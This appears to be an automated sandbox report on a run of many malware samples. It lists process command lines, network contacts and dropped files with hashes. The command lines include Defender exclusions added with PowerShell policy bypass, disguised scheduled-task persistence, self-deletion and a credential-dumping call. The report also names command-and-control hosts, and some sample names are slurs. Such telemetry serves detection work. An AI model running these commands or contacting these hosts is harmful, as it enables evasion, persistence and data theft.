"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2440,i,1215880684439278380,10159631914536175181,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2436 /prefetch:2

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2068,i,1215880684439278380,10159631914536175181,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3000 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2976,i,1215880684439278380,10159631914536175181,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3056 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2992,i,1215880684439278380,10159631914536175181,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3096 /prefetch:1

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\InstTheLatestFlashActiveX1.htm

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4300,i,1215880684439278380,10159631914536175181,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4328 /prefetch:2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\system.exe'

C:\Users\Admin\AppData\Local\Temp\Lokibot.exe

"C:\Users\Admin\AppData\Local\Temp\Lokibot.exe"

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8044 CREDAT:17410 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Program Files\taskhostw.exe'

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "dJ3H492fymd.exe" /tr '"C:\Users\Admin\AppData\Local\Temp\TkEsyhMyLtSDFBh\dJ3H492fymd.exe.exe"'

C:\ProgramData\Temp\GBPCEF.exe

C:\ProgramData\Temp\\GBPCEF.exe /verysilent /norestart

C:\Windows\SysWOW64\PING.EXE

ping -n 10 localhost

C:\Windows\TEMP\is-1FUU5.tmp\GBPCEF.tmp

"C:\Windows\TEMP\is-1FUU5.tmp\GBPCEF.tmp" /SL5="$3C002C,6813317,58880,C:\ProgramData\Temp\GBPCEF.exe" /verysilent /norestart

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Users\Admin\AppData\Local\Temp\a\x.exe

"C:\Users\Admin\AppData\Local\Temp\a\x.exe"

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 82C5D8CC7B3BB1C360DFFA991AC8E300 C

C:\ProgramData\bgbhoe\wlnb.exe

C:\ProgramData\bgbhoe\wlnb.exe start2

C:\Windows\TEMP\is-DUAP9.tmp\Gbpdist\Cef\GbpDist.exe

"C:\Windows\TEMP\is-DUAP9.tmp\Gbpdist\Cef\GbpDist.exe" -clientname Cef -paramstr VjafQqlLDLXbfV2TUbGiQrJJhoGJ9sX3xyeL+5hv1mi8vHyquZTbRZr+YwKsRBgUPYaJmODbH3i8yJw0fkWhy+Qtw7WFXoHFxjY= -options 6255

C:\Windows\system32\mode.com

mode 65,10

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe"

C:\Users\Admin\AppData\Local\Temp\10320830101\5812cf0e64.exe

"C:\Users\Admin\AppData\Local\Temp\10320830101\5812cf0e64.exe"

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Users\Admin\AppData\Local\Temp\a\loader.exe

"C:\Users\Admin\AppData\Local\Temp\a\loader.exe"

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e file.zip -p1697420900235384164176743894 -oextracted

C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe

"C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"

C:\Users\Admin\AppData\Local\Temp\a\shwork.exe

"C:\Users\Admin\AppData\Local\Temp\a\shwork.exe"

C:\Users\Admin\AppData\Local\Temp\ARA.exe

"C:\Users\Admin\AppData\Local\Temp\ARA.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"

C:\Windows\system32\schtasks.exe

"schtasks" /create /tn "PCI Bus Driver" /tr C:\Users\Admin\Drivers\busdrv.exe /sc minute /mo 1 /f

C:\Users\Admin\AppData\Local\Temp\a\cam.exe

"C:\Users\Admin\AppData\Local\Temp\a\cam.exe"

C:\Windows\system32\tasklist.exe

"tasklist"

C:\Windows\system32\schtasks.exe

"schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Users\Admin\Drivers\busdrv.exe /sc onstart /ru SYSTEM /f

C:\Windows\system32\reg.exe

reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s

C:\Users\Admin\AppData\Local\Temp\10329270101\qWvzIGs.exe

"C:\Users\Admin\AppData\Local\Temp\10329270101\qWvzIGs.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 5555.kl.com.ua udp
NL 5.79.66.145:80 5555.kl.com.ua tcp
NL 5.79.66.145:80 5555.kl.com.ua tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.135.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 rottot.shop udp
US 8.8.8.8:53 api.ipify.org udp
US 104.26.12.205:443 api.ipify.org tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 8.8.8.8:53 impactsupport.world udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 nestlecompany.world udp
US 8.8.8.8:53 discord.com udp
US 8.8.8.8:53 mercharena.biz udp
US 162.159.136.232:443 discord.com tcp
US 162.159.136.232:443 discord.com tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 8.8.8.8:53 generalmills.pro udp
US 8.8.8.8:53 stormlegue.com udp
US 173.255.204.62:443 stormlegue.com tcp
US 8.8.8.8:53 imagem.caixa.gov.br udp
IT 186.195.66.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 blast-hubs.com udp
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 151.101.194.49:443 urlhaus.abuse.ch tcp
US 173.255.204.62:443 blast-hubs.com tcp
US 8.8.8.8:53 whatismyipaddress.com udp
US 8.8.8.8:53 jmucha.fun udp
US 104.19.223.79:80 whatismyipaddress.com tcp
FR 51.77.7.204:443 tcp
US 8.8.8.8:53 www.l52m.com udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 208.95.112.1:80 ip-api.com tcp
US 151.101.194.49:443 urlhaus.abuse.ch tcp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 niggahunter-28633.portmap.io udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 blastikcn.com udp
US 173.255.204.62:443 blastikcn.com tcp
US 8.8.8.8:53 smtp.gmail.com udp
BE 142.251.173.108:587 smtp.gmail.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 8.8.8.8:53 www.l52m.com udp
US 8.8.8.8:53 dropout-37757.portmap.host udp
GB 104.245.241.219:80 104.245.241.219 tcp
US 8.8.8.8:53 gitlab.com udp
US 172.65.251.78:443 gitlab.com tcp
US 8.8.8.8:53 nestlecompany.pro udp
US 8.8.8.8:53 lestagames.world udp
US 8.8.8.8:53 www.maxmoney.com udp
MY 210.19.94.140:80 www.maxmoney.com tcp
US 8.8.8.8:53 steamcommunity.com udp
GB 2.22.96.50:443 steamcommunity.com tcp
KR 175.112.170.177:80 175.112.170.177 tcp
US 8.8.8.8:53 elite.dl-kl.com udp
US 8.8.8.8:53 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev udp
US 162.159.140.237:443 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev tcp
US 8.8.8.8:53 get-kl.com udp
US 8.8.8.8:53 jmucha.fun udp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 8.8.8.8:53 www.elite-keylogger.net udp
US 8.8.8.8:53 www.l52m.com udp
US 72.52.178.23:80 www.elite-keylogger.net tcp
US 162.159.140.237:443 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev tcp
US 162.159.140.237:443 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev tcp
US 8.8.8.8:53 xred.mooo.com udp
US 8.8.8.8:53 freedns.afraid.org udp
US 69.42.215.252:80 freedns.afraid.org tcp
US 172.245.123.24:80 172.245.123.24 tcp
US 208.95.112.1:80 ip-api.com tcp
N/A 224.0.0.251:5353 udp
RU 176.113.115.6:80 176.113.115.6 tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 www.l52m.com udp
US 8.8.8.8:53 get.geojs.io udp
US 104.26.1.100:443 get.geojs.io tcp
RU 176.113.115.7:80 176.113.115.7 tcp
CA 51.222.39.81:443 tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
DE 193.233.254.162:5555 tcp
US 8.8.8.8:53 www.l52m.com udp
DE 193.233.254.162:5555 tcp
DE 193.233.254.162:5556 tcp
US 8.8.8.8:53 esccapewz.run udp
FR 51.178.195.151:443 tcp
BE 142.251.173.108:587 smtp.gmail.com tcp
DE 156.229.233.194:8080 156.229.233.194 tcp
US 8.8.8.8:53 travewlio.shop udp
US 8.8.8.8:53 touvrlane.bet udp
FR 185.136.161.124:6128 tcp
US 8.8.8.8:53 sighbtseeing.shop udp
US 8.8.8.8:53 advennture.top udp
US 172.67.221.138:443 advennture.top tcp
NL 195.211.191.93:80 195.211.191.93 tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 8.8.8.8:53 www.l52m.com udp
US 172.245.208.13:80 172.245.208.13 tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
RU 176.113.115.7:80 176.113.115.7 tcp
US 8.8.8.8:53 www.l52m.com udp
US 172.245.208.13:80 172.245.208.13 tcp
US 172.67.221.138:443 advennture.top tcp
US 172.67.221.138:443 advennture.top tcp

Files

C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe

MD5 fcaf9381cf49405a6fe489aff172c3a8
SHA1 6c62859c5a35121aa897cd3dc2dff9afb19ee76f
SHA256 61b6252429f370ba24b0b5e065e0db5b1c910b5b1a7253863f7ddb4072042abd
SHA512 99b2473f508baab338d4a1469b8395c81c24d256cce3b4fedb93e7fde939b5886ef4f9c74ab4ad9dc911d0160f14e51cf3ee27877dc640b61d2f4d22a54b397c

C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

MD5 63596f2392855aacd0ed6de194d2677c
SHA1 6c8cf836c5715e21397894c9087b38a740163099
SHA256 0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb
SHA512 7204def70b4c68ff229322cbb4c06e9a30a8718af58fdee1c96b2eba6a6fc07b35cbbb88dc00c847a0d7be2a5cd6709c93e73e81988b97907dc6848c66f792b7

memory/5036-19-0x00000000003E0000-0x00000000003EA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0ab8836efcaa62c7daac314e0b7ab1679319b2901578fd9e95ec3476b4c1a732.exe

MD5 0263de27fd997a4904ee4a92f91ac733
SHA1 da090fd76b2d92320cf7e55666bb5bd8f50796c9
SHA256 0ab8836efcaa62c7daac314e0b7ab1679319b2901578fd9e95ec3476b4c1a732
SHA512 09ef02532eb7c3a968c1d04bf1f3aa9a4bf400f8485d3be596d7db3aed5f705fc1f85a1f6218397a70830ad747aa03c61b9c5b1cca24c2620cdbb3e5361db194

memory/2388-31-0x0000000002970000-0x00000000029A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe

MD5 c14240799b42bb8888028b840d232428
SHA1 e42d3933a959f55983141a568241cd315ae60612
SHA256 0e69c2a9fc7bac1133becbdbcee3d3c48aaece55efa7abd42071009098c29f7b
SHA512 ae515275895c9a741b422c63feea725f150f5b28c1d9da635933a9b1b523d40230d319b1b53ad1a7a27fa39625244862b2ce89e8fc2da7a48303c032bbcfb591

memory/2388-39-0x00000000050C0000-0x00000000056E8000-memory.dmp

memory/2388-59-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

memory/2388-64-0x00000000057F0000-0x0000000005856000-memory.dmp

memory/2388-63-0x0000000005040000-0x00000000050A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe

MD5 64d8b413b2f5f3842e6126b398f62ab5
SHA1 f1c74de5ca76f0feb233ac7b5fb5e0158fb37d79
SHA256 0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d
SHA512 328235f69b4db694cfd0e826d0012bb4b9d1f2971a27eec9fd27b106e9a6201a619bdd6ff0cfdad7144ef20276c423bd800ddbc9b5c6cff3c0c37e79837a48cf

memory/2716-66-0x0000000000400000-0x0000000000418000-memory.dmp

memory/2388-80-0x0000000005950000-0x0000000005CA4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\001eb377f0452060012124cb214f658754c7488ccb82e23ec56b2f45a636c859.exe

MD5 799c965e0a5a132ec2263d5fea0b0e1c
SHA1 a15c5a706122fabdef1989c893c72c6530fedcb4
SHA256 001eb377f0452060012124cb214f658754c7488ccb82e23ec56b2f45a636c859
SHA512 6c481a855ee6f81dd388c8a4623e519bfbb9f496dada93672360f0a7476fb2b32fd261324156fd4729cef3cbe13f0a8b5862fe47b6db1860d0d67a77283b5ad8

C:\Users\Admin\AppData\Local\Temp\autorun.inf

MD5 791c22422cded6b4b1fbb77e2be823bb
SHA1 220e96e2f3a16549228006b16591c208b660b1bc
SHA256 3354db19957d91b855470eb17ce933e4f10066ea25478a10b69a27e8fbca6f60
SHA512 b5f9bd9ca51efc9e8166ca1604d511e36e99fc02ccfd3e686f1dfec7bf777fb0f7b6492bdd1b75640790893857c69cfcf254fd6f6e0ff2839241b94f8c9e0b87

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0a2ws4p2.vs5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe

MD5 177a73014d3c3455d71d645c1bf32a9f
SHA1 84e6709bb58fd671bbd8b37df897d1e60d570aec
SHA256 1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef
SHA512 b11e480a39daae570b44dea17b8929eb8ec6f2bccce1e3aebd9b359a717eb21e7e09750a93ed484ded6073da2527221bda09897fbf5d6c662a14c706a0fec9cb

C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe

MD5 26164790286a03dc5abffc3225b59af2
SHA1 1094432026ea3ddb212e4da1ecbe21421ef83319
SHA256 5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351
SHA512 148a7878f8ea71d17aa579b0b1d3bf226dc19053bee0da775de66927cb3dfd0b0b7e997652ee53e9ee397477c81e4c71c1aa4fce9d85d08d84bbf4206f59f859

memory/4256-106-0x0000000000B20000-0x0000000000B2E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 5576314b3a87ee099fdced0a48737036
SHA1 b3a7fd6ab83c6b7444283e07fcb5d51adf30dc14
SHA256 93aa355455057f0e1c9a6cbe0e351c69c22bb39e7cce6da8a75d667e7b2b979a
SHA512 6dc7aa589c4a69fce8b7762798abee0dd1e54b86b8c611d51b25da9282ea97121c8560ef8bed2ac4283ce1147ab2b445a3564585423eaa90e4710c1beffd74f4

C:\Users\Admin\AppData\Local\Temp\proxyt.exe

MD5 0a8926c9bb51236adc4c613d941ee60a
SHA1 775c7a9f9df06d10a1075167434dfff50b9e0eb3
SHA256 17f3cb36a59ace4d7b0138054b2a1cf391060989e97bbf6b03d4147975818a83
SHA512 866b8546314f27fc1a7ffe21de07be9631eaf46cbc9132054d3900a7f6b2d459c1744da25d66e86c1118ee1fb5cdd90b9747d563200fe71dcb1c1b20ed5e7168

C:\Users\Admin\AppData\Local\Temp\103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046.exe

MD5 ae747bc7fff9bc23f06635ef60ea0e8d
SHA1 64315e834f67905ed4e47f36155362a78ac23462
SHA256 103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046
SHA512 e24914a58565a43883c27ae4a41061e8edd3d5eef7b86c1c0e9910d9fbe0eef3e78ed49136ac0c9378311e99901b1847bcfd926aa9a3ea44149a7478480f82b2

memory/2716-134-0x0000000000400000-0x0000000000418000-memory.dmp

memory/812-130-0x0000000000400000-0x000000000042E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DanaBot.exe

MD5 48d8f7bbb500af66baa765279ce58045
SHA1 2cdb5fdeee4e9c7bd2e5f744150521963487eb71
SHA256 db0d72bc7d10209f7fa354ec100d57abbb9fe2e57ce72789f5f88257c5d3ebd1
SHA512 aef8aa8e0d16aab35b5cc19487e53583691e4471064bc556a2ee13e94a0546b54a33995739f0fa3c4de6ff4c6abf02014aef3efb0d93ca6847bad2220c3302bd

memory/2388-157-0x00000000063D0000-0x000000000641C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe

MD5 fc24555ebf5eb87e88af6cacdd39ca66
SHA1 4d7980158375105d3c44ca230aab7963e2461b2b
SHA256 d8b88b1eb850ae1434cf6a489f7376b0a37cb4911f4ea07d10c9613706a1808a
SHA512 74f5ed6eca55f26b5b1c96388fcd72e672313b08f14dba67886de45ef024fd89854f3078e81b4392288345d7057b001a080c1b26246a7d34aac03c34472081bd

memory/6040-183-0x00000172E1E00000-0x00000172E1E2A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe

MD5 3299ebb7b213d7ab79f7fef2296b06d2
SHA1 71efb0ca7eac2410291a6405977aa81bb72394f1
SHA256 783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d
SHA512 5f5f1e3d45a83cac12f7590a628c1a4f8cbcb84deb4e5c86566778164761c738fefab11a003fee4372121b7545fb26ec7ec2fede0c3ba34470523fdc03ecb996

memory/2388-150-0x0000000005F50000-0x0000000005F6E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe

MD5 0c5f210d9488d06c6e0143746cb46a4c
SHA1 8c10d61f4fb40acdd99d876c632a3388a9dfbad7
SHA256 0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0
SHA512 bb18b8e5e7c6b5e1cb9535c0910a7175f0871b21aab0238cfd3a5fd0a8e79790d457b0ed15b2c5695ba59595d5019975be8ae02eddf1d4c2381b9c1bf43920d4

C:\Users\Admin\AppData\Local\Temp\2020.exe

MD5 dd64540e22bf898a65b2a9d02487ac04
SHA1 30dc0f5fde0feeb409cfb5673d69e9ad7c33f903
SHA256 c3f1f481bf8890ae8e6c4687fc73fb9da1b03e5661f4c0961cdf119dfcd72da4
SHA512 8c496d77574199ebea8e2fe2136d7732013edb1df3de68f3cbc73ec3f36028817d7ac9c7bb068498f6100020a58175efb1a10fd77d14f921e4bca04fd41542a2

C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe

MD5 eb6beba0181a014ac8c0ec040cb1121a
SHA1 52805384c7cd1b73944525c480792a3d0319b116
SHA256 f87b4e7c69ce161743f4b9b0001d7376e163d615ce477c390f63cadf09ffc5d4
SHA512 0afb9a7d180fe017520afb39e954821f77c8b6e2e11bbf73402dcdade231d07f3b755f40606252c917b51a0f5f32d499b96b30e7f2f617c50e709eae4cd80ae4

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

MD5 a5b0b7dc03430b53672635608e95a0f9
SHA1 9624b3d747744fdd1e59155fbd331688c4fbbc59
SHA256 8cce1d4ffa3d21e0eaf8cae399d71729717f184612b80a32e4627d8596b5bd22
SHA512 f7afe9f483a10b8df68b56aef7d9ec89b04e16e42dfd61c2a0f99674bbb101cdff20f9f2657c3555fbb4ee2bfc6c6e5750663ddf343e16cfed15d61479d8bb92

C:\Users\Admin\AppData\Local\Temp\goofy.exe

MD5 9f86ce346644c8fd062ddcf802a3e993
SHA1 8a78d91bee298fa47a794e559b5331c2ef49c015
SHA256 b9488a2f213ea62076f92fb16ae0c037ac2fc977310af10e36919543b03c8a0d
SHA512 f598a13361b482822b1f5d6b569d9d61324ea79407a93678191e779c130b491ba2cb446ab464a5f0afc71273a9378cc3df409948141f1564fe33b07e5cd9db9e

memory/2472-219-0x0000000005000000-0x0000000005092000-memory.dmp

memory/1316-233-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2472-230-0x0000000004F90000-0x0000000004F9A000-memory.dmp

memory/2472-216-0x0000000005690000-0x0000000005C34000-memory.dmp

memory/2472-223-0x0000000005180000-0x000000000521C000-memory.dmp

memory/2472-211-0x0000000000700000-0x0000000000724000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\FutureClient.exe

MD5 2fbd63e9262c738c472fdef1f0701d74
SHA1 cf8c1cf97f054d0fba0e5310e4f6c2db3a71d9fe
SHA256 11f601cb5920b195b7b10ea03733acc29b967de302f26efb1736d7b0b270385d
SHA512 ed88e58cca8d9f1d924fb6f6bbbde04139fb61b052fa6b95f312bd46f4d28b01e8bdf18dfa4433571cb2084564e35c1ca36d2e7896f30e05274eedd1f80ba037

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2020.exe.log

MD5 8cf94b5356be60247d331660005941ec
SHA1 fdedb361f40f22cb6a086c808fc0056d4e421131
SHA256 52a5b2d36f2b72cb02c695cf7ef46444dda73d4ea82a73e0894c805fa9987bc0
SHA512 b886dfc8bf03f8627f051fb6e2ac40ae2e7713584695a365728eb2e2c87217830029aa35bd129c642fa03dde3f7a7dd5690b16248676be60a6bb5f497fb23651

C:\Windows\psychosomaticDLL.dll

MD5 0c728d7242920f9c30ff35b8c94f2f70
SHA1 8bb25a25d2ab28bd611dd57ddbb63b08db0b47b1
SHA256 2238eb676d804ffb654f713ad71f8820640e5047262326fbcad5c2894a988817
SHA512 35f53f1260491e8175ca06ed4026cead72b16664dda32094c16b940415a381385ca224885437ecd3c8fef7da06663590254e88389856346a6e5a0d82dd2e50cc

C:\Users\Admin\AppData\Local\Temp\amadey.exe

MD5 a7d7a53ac62cc85ecddf710da9243d64
SHA1 4bfee487fae3e4daf9eaaeea9c5e7469c4e94ec1
SHA256 d20d9c4ca508991a5a3482ff1545ba5f39c96892538f3a50b720259f446dfee3
SHA512 ae56373353977726a36a56c0e8f2c70c0750594a7390421e1358fbcffcdbb9554d404b607e54102360e2086ce0cbb0049215b29e61c3a0e2425e4b959e9efe8a

C:\Users\Admin\AppData\Local\Temp\nigga.exe

MD5 6cb703d1e77f657c22c9537f87c2c870
SHA1 0d4e5ea38168be6c530a5e37555ca21ff666dd25
SHA256 903a7559e0e725f87a202e37fe6906fb260f6423a9687c36eb2c846f5b8af4d0
SHA512 96e849492feb525ef829bc2e298ab7d8a45f0030283c0cc876e0c57394f46b3d297efa405bf6f98228ce39dfbdc52e9f4cd94ae47b205e1fd8669f9328b4bbac

memory/3020-283-0x0000000000C40000-0x0000000000C9E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe

MD5 cce284cab135d9c0a2a64a7caec09107
SHA1 e4b8f4b6cab18b9748f83e9fffd275ef5276199e
SHA256 18aab0e981eee9e4ef8e15d4b003b14b3a1b0bfb7233fade8ee4b6a22a5abbb9
SHA512 c45d021295871447ce60250ff9cbeba2b2a16a23371530da077d6235cfe5005f10fa228071542df3621462d913ad2f58236dc0c0cb390779eef86a10bba8429f

C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe

MD5 67b81fffbf31252f54caf716a8befa03
SHA1 3bc8d6941da192739d741dade480300036b6cebd
SHA256 db0e1b302775e21cc57a33730cdc33e7f5bcf408447dcf3e3b012edd7952a95a
SHA512 c1d2ab8820d922cf1e4e5130084ca3b8f2f227309468bebae079456f09bae093479f0e5e188039feb412443541f5cb5b8cc8bd9c203340b06cbd3feafa8747c4

C:\Users\Admin\AppData\Local\Temp\Adwind.exe

MD5 fe537a3346590c04d81d357e3c4be6e8
SHA1 b1285f1d8618292e17e490857d1bdf0a79104837
SHA256 bbc572cced7c94d63a7208f4aba4ed20d1350bef153b099035a86c95c8d96d4a
SHA512 50a5c1ad99ee9f3a540cb30e87ebfdf7561f0a0ee35b3d06c394fa2bad06ca6088a04848ddcb25f449b3c98b89a91d1ba5859f1ed6737119b606968be250c8ce

C:\Windows\Temp\ntdll.dll

MD5 47ccb0e28d73f695c5d5266ffbb300ec
SHA1 63e6167944df951ad2d279d0b64e37bf2f604c07
SHA256 12d1bac765448db638adc8327de1101e5e2eb5829b8da7edd5b216a45c717eec
SHA512 8219f5cfd7a6bf28b8880529240e0b49a2fd78c0c5227cf6471cbf153fd32b2664ae31396d4b6897c2686e5b7826b9f9dad434e82e7032c7a5aa3ee9b2771145

C:\Windows\System32\d3dx9_43.dll

MD5 49c7e48e5042370f257afca33469245c
SHA1 c63c7511081d5dcd7ed85231bde1017b064b489a
SHA256 28eac29da55bc960d83a115a1930a179d9b6f9f5bd0ba58785adf0c37c535b0e
SHA512 090753cd96f2d214062b2dfc3d45fddee007f5a0986d74aa9d6688e413e5ad64bee42623eb65dc7783a5f73d6f09a9c7c90c7fba249444eaeaf438b6a15e87b7

memory/1080-246-0x00000000000F0000-0x0000000000100000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe

MD5 b6e148ee1a2a3b460dd2a0adbf1dd39c
SHA1 ec0efbe8fd2fa5300164e9e4eded0d40da549c60
SHA256 dc31e710277eac1b125de6f4626765a2684d992147691a33964e368e5f269cba
SHA512 4b8c62ddfc7cd3e5ce1f8b5a1ba4a611ab1bfccf81d80cf2cfc831cffa1d7a4b6da0494616a53b419168bc3a324b57382d4a6186af083de6fc93d144c4503741

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe

MD5 db08740474fd41e2a5f43947ee5927b8
SHA1 dd57e443d85155ba76144c01943e74f3d0f5cf95
